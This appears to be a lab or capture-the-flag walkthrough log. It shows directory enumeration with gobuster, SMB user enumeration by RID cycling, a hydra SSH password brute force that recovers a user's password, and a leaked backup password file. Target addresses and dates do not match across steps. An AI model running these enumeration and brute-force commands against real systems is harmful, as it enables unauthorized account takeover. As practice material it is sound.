

$ gobuster -u http://10.10.91.154/ -w /data/src/wordlists/directory-list-1.0.txt

=====================================================

Gobuster v2.0.1 OJ Reeves (@TheColonial)

=====================================================

[+] Mode  : dir

[+] Url/Domain  : http://10.10.91.154/

[+] Threads  : 10

[+] Wordlist  : /data/src/wordlists/directory-list-1.0.txt

[+] Status codes : 200,204,301,302,307,403

[+] Timeout  : 10s

=====================================================

2022/09/10 08:51:28 Starting gobuster

=====================================================

/development (Status: 301)

dev.txt:

2018-04-23: I've been messing with that struts stuff, and it's pretty cool! I think it might be neat

to host that on this server too. Haven't made any real web apps yet, but I have tried that example

you get to show off how it works (and it's the REST version of the example!). Oh, and right now I'm

using version 2.5.12, because other versions were giving me trouble. -K

2018-04-22: SMB has been configured. -K

2018-04-21: I got Apache set up. Will put in our content later. -J

j.txt:

For J:

I've been auditing the contents of /etc/shadow to make sure we don't have any weak credentials,

and I was able to crack your hash really easily. You know our password policy, so please follow

it? Change that password ASAP.

-K

========================================================================

| Users on 10.10.91.154

via RID cycling (RIDS: 500-550,1000-1050) |

========================================================================

[I] Found new SID: S-1-22-1

[I] Found new SID: S-1-5-21-2853212168-2008227510-3551253869

[I] Found new SID: S-1-5-32

[+] Enumerating users using SID S-1-22-1 and logon username '', password ''

S-1-22-1-1000 Unix User\kay (Local User)

S-1-22-1-1001 Unix User\jan (Local User)

$ hydra -l jan -P /data/src/wordlists/rockyou.txt ssh://10.10.91.1574

Hydra v9.0 (c) 2019 by van Hauser/THC - Please do not use in military or secret service organizations, or for illegal purposes.

Hydra (<https://github.com/vanhauser-thc/thc-hydra>) starting at 2022-10-09 19:44:13

[WARNING] Many SSH configurations limit the number of parallel tasks, it is recommended to reduce the tasks: use -t 4

[DATA] max 16 tasks per 1 server, overall 16 tasks, 14344398 login tries (l:1/p:14344398), ~896525 tries per task

[DATA] attacking [ssh://10.10.91.154:22/](ssh://10.10.226.157:22/)

[STATUS] 180.00 tries/min, 180 tries in 00:01h, 14344222 to do in 1328:11h, 16 active

[STATUS] 124.00 tries/min, 372 tries in 00:03h, 14344030 to do in 1927:58h, 16 active

[22][ssh] host: 10.10.226.157 login: jan password: armando

1 of 1 target successfully completed, 1 valid password found

[WARNING] Writing restore file because 4 final worker threads did not complete until end.

[ERROR] 4 targets did not resolve or could not be connected

[ERROR] 0 targets did not complete

Hydra (<https://github.com/vanhauser-thc/thc-hydra>) finished at 2022-10-09 19:50:43

cat pass.bak

heresareallystrongpasswordthatfollowsthepasswordpolicy$$